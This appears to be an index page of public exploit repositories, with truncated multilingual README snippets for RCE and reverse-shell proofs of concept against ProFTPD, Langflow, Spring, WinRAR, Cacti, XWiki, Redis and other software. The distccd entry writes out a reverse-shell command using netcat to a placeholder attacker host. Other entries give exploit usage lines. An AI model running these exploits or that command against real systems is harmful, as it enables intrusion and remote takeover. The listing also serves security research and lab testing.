ProFTPD_CVE-2015-3306

m4ud ProFTPD 1.3.5 RCE 익스플로잇 CVE : 2015-3306! ProFTPd 1.3.5 RCE 사용법: ProFTPD.py 옵션 옵션: -h, --help 도움말 메시지를 보여주고 종료합니다, -l LHOST, --lhost=LHOST 리버스 셸에 필요한 로컬 IP, -p LPORT, --lport=LPORT 리버스 셸에 필요한 포트, -t TARGET, --target=TARGET 취약한 대상, -d DIRECTORY, --dir=DIRECTORY 백도어를 업로드할 웹루트 디렉터리, 기본값:...

RCE-CVE-2025-3248

인증된 CVE-2025-3248 Langflow 원격 코드 실행 이 Python 스크립트는 CVE-2025-3248 을 악용하여 취약한 시스템에서 임의의 명령을 실행하거나 리버스 셸을 생성합니다. 이 익스플로잇을 사용하려면 인증이 필요합니다. 기능 인증된 명령 실행: 대상 시스템에서 임의의 시스템 명령을 실행합니다. 리버스 셸: 리스너로 리버스 셸을 생성합니다. 프록시 지원: 프록시예: Burp Suite를 통해 요청을 라우팅합니다. 요구 사항 Python 3.x requests 라이브러리 다음 명령으로 종속성을 설치합니다:...

fusionpbx_rce_vulnerability

서문 이 간단한 코드는 Dustin Cobb가 Caller ID를 사용한 RCE – FusionPBX의 다중 취약점에서 소개한 연쇄 취약점의 구현을 완성하려고 시도합니다. RCE 재현 단계 1. 웹 브라우저에서 취약한 운영자 화면을 봅니다. 이 예제에서는 https://fusionpbxaddress/app/operatorpanel/index.php에 있습니다. 2. 원격 시스템rcelisteneraddress에서 netcat 리스너를 시작합니다.x 3. 원격 시스템의 다른 터미널 창에서 아래의 익스플로잇 코드를 실행합니다:...

Larascript

| | | | | | / || '| / |/ | /|| ' || || ' \ | | | | | | || | | | | | | | | || | || | || , ||| ,|| / ||| ||| ./ | || 저자: @pwnedshell & @rsgbengi 📌 Larascript이란? Larascript는 CVE-2018-15133을 악용하는 스크립트로, 취약한 Laravel 앱이 노출된 경우 원격 명령을 실행할 수 있습니다. cat /etc/passwd 같은 명령을 보내고 결과를 받을 수 있습니다. 또한 쉘을 요청하면 리버스 ...

CVE-2022-22965-poc

CVE-2022-22965 POC CVE-2022-22965 POC로, 리버스 셸 및 비밀번호 지원을 포함합니다. 더 추가하고 싶은 내용이 있으면 자유롭게 추가하세요 : 테스트 방법? $ docker run -p 9090:8080 vulfocus/spring-core-rce-2022-03-29 run vulnerable docker $ python3 exploit.py -c id --password 1234 --shellname big0us $ python3 exploit.py --help for more usages 크레딧 ...

CVE-2023-38831_ReverseShell_Winrar

CVE-2023-38831 이 경우, WinRAR의 이 취약점을 악용하는 데 필요한 파일을 공유합니다. 이를 통해 악성 PDF를 만들어 공격자 머신으로 리버스 셸을 수립할 수 있습니다. ⚠️ 참고: 이 콘텐츠는 윤리적 목적으로 공유되며, 제3자에게 해를 끼치지 않는 통제된 환경에서 실습하기 위해 제작되었습니다. 어떠한 경우에도 이러한 리소스를 악의적인 목적으로 사용하는 것을 옹호하지 않습니다. 리소스 준비 및 악용 먼저, 저장소의 콘텐츠를 다운로드 합니다. 악용이 올바르게 작동하도록 모든 리소스를 준비해 보겠습니다. 다음 3개의...

CVE-2020-14295

CVE-2020-14295 취약점 세부 정보 - https://github.com/Cacti/cacti/issues/3622 설치 pip3 install -r requirements.txt 사용법 $ ./gimme-a-shell.py --help usage: gimme-a-shell.py -h -t Target -U Username -P Password -i Shell-IP -p Shell-Port optional arguments: -h, --help show this help message and exit required...

Cgi-bin_bash_Reverse

Cgi-binbashReverse CVE-2014-6271에 대한 PoC 출처:https://gist.github.com/matjohn2/bc9689c60d4c9c5a2538...

Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE

Spring Cloud Function 취약점 CVE-2022-22963 RCE 이것은 Spring4Shell, CVE-2022-22963의 Python 구현체로, Spring Cloud Function =3.1.6 3.1.x 기준 및 =3.2.2 3.2.x 기준를 실행하는 서비스에 영향을 줍니다. 여러 POC를 온라인에서 결합한 것입니다. 저자: Randall Banner 날짜: 17/04/23 설명: 스크립트는 현재 디렉토리에 shell.sh를 생성하며, 간단한 bash 리버스 셸 원라이너를 포함합니다. 그런 다음 웹서버를...

cisco-rv-rce-poc

CVE-2023-20048 — Cisco RV Series PoC 및 Exploit ⚠ 경고: 승인된 테스트 전용 입니다. 소유하지 않았거나 서면 허가를 받지 않은 시스템에 사용하지 마십시오. 이는 승인된 테스트 전용 개념 증명PoC입니다. 이 저장소의 구성 다음을 포함하는 작은 저장소: CiscoPoc.py — CVE-2023-20048을 확인하는 무해한 PoC. CiscoRCE.py — 취약한 form2ping.cgi를 통해 리버스 셸을 시도하는 익스플로잇. 설명 이 스크립트는 Cisco RV 시리즈 라우터 가...

CVE-2025-24367-PoC-Cacti

Cacti CVE-2025-24367 인증된 RCE PoC 이 저장소는 Cacti의 인증된 원격 코드 실행 취약점인 CVE‑2025‑24367 에 대한 개념 증명 익스플로잇을 포함합니다. 이 문제는 그래프 템플릿 처리에서 불충분한 입력 검증을 악용합니다. "Unix – Logged in Users" 그래프 템플릿ID 226에 악성 콘텐츠를 주입하여 Cacti 웹 루트에 임의의 PHP 파일을 작성하고 서버에서 명령을 실행할 수 있습니다. 이 PoC는 실험실 환경, 통제된 테스트, 그리고 연구 목적으로만 사용됩니다. 취약점 요약...

CVE-2025-49132

CVE-2025-49132-POC 私は個人的なチャレンジとして、0xtensho に触発されてこのPoCを作成しました。 クリーンな出力とリバースシェル専用を目的として作成しました。 使用方法: Change the host and the listener variable first python3 CVE-2025-49132POC.py 免責事項 法的免責事項: このPoC（Proof of...

distccd_rce_CVE-2004-2687

이 스크립트의 목적은 Metasploit을 사용하지 않고 수동으로 수행하는 것입니다. 사용법: nc -lvnp 4466 익스플로잇 실행: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

CVE-2025-56383

취약점 공격 유형: DLL Hijacking DLL 하이재킹 대상 애플리케이션: Notepad++ 방법: NppExport.dll 파일이 Notepad++에 의해 작업 디렉터리에서 로드됨 구현 악성 DLL에는 다음이 포함됩니다: 호환성을 위한 원본 라이브러리의 내보내기 함수 공격자 호스트에 연결되는 Reverse shell 로딩 차단을 방지하기 위한 별도 스레드에서의 실행...

CVE-2021-44967

CVE-2021-44967: LimeSurvey 인증된 RCE CVE-2021-44967에 대한 개념 증명입니다. 이 스크립트는 LimeSurvey에 인증하고, PHP 플러그인을 업로드 및 활성화한 뒤, 리버스 셸을 트리거합니다. 소유하거나 테스트 권한이 있는 시스템에만 사용하십시오. 요구 사항 Python 3 beautifulsoup4, netifaces, requests PATH에서 사용 가능한 nc 플러그인 설치 권한이 있는 LimeSurvey 관리자 자격 증명 격리된 환경을 만들고 Python 패키지를 설치하십시오:...

paint2die

가장 간단하고 안정적인 RichFaces Paint2DResource CVE-2018-12533 RF-14310 익스플로잇 설치 • 사용법 • Paint2Die 실행 설치 지침 git clone https://github.com/LucasKatashi/paint2die.git cd paint2die chmod +x paint2die.py pip install -r requirements.txt 사용법 ./paint2die -h 이 명령은 도구의 도움말을 표시합니다. 지원하는 모든 스위치는 다음과 같습니다. Usage:...

CVE-2025-24893-PoC

CVE-2025-24893-PoC XWiki 인증되지 않은 RCE 익스플로잇 영향을 받는 XWiki 버전 버전 15.10.11 버전 16.4.1 버전 16.5.0RC1 취약점 설명 영향을 받는 XWiki 버전은 SolrSearch 매크로에서 안전하지 않은 Groovy 표현식 처리로 인한 원격 코드 실행 취약점을 포함합니다. 인증되지 않은 공격자는 원격으로 임의의 Groovy 코드를 실행하고 리버스 셸을 획득할 수 있습니다. 개념 증명 이 익스플로잇은 대상 시스템에서 코드를 실행하고 리버스 셸을 설정하는 데 사용할 수 있습니다....

CVE-2025-25257

CVE-2025-25257 watchtowr와 다른 사람들이 GitHub에서 공개한 CVE-2025-25257 익스플로잇이 공식 벤더 웹사이트에서 다운로드한 fortiweb 설치 환경에서 작동하지 않았습니다. 저는 이러한 익스플로잇 코드 일부를 가져와서 내 환경에서 리버스 셸을 실행할 수 있는 PoC를 만들었습니다. 리버스 셸의 IP 주소와 포트는 하드코딩되어 있으므로 당연히 변경해야 합니다. 익스플로잇 분석 및 워크스루는 제 YouTube 채널의 두 파트 비디오로 설명되어 있습니다 이탈리아어, 영어 자막: 파트 1:...

Exploit for CVE-2026-44011

CVE-2026-44011-craft-rce-poc CVE-2026-44011-craft-rce-poc Usag...

CVE-2022-0543

CVE-2022-0543 适用于通过Lua沙盒逃逸漏洞进行Redis RCE的完整利用程序。基于 https://thesecmaster.com/how-to-fix-cve-2022-0543-a-critical-lua-sandbox-escape-vulnerability-in-redis/。 功能: 自动反向Shell -I + -P 单条命令执行 -x 基本Shell 默认 待办: 需要更好的检测机制以防止误报 免责声明: 此脚本用于审计系统安全性。请仅在您自己的系统或已获得书面授权利用的系统上使用此脚本。...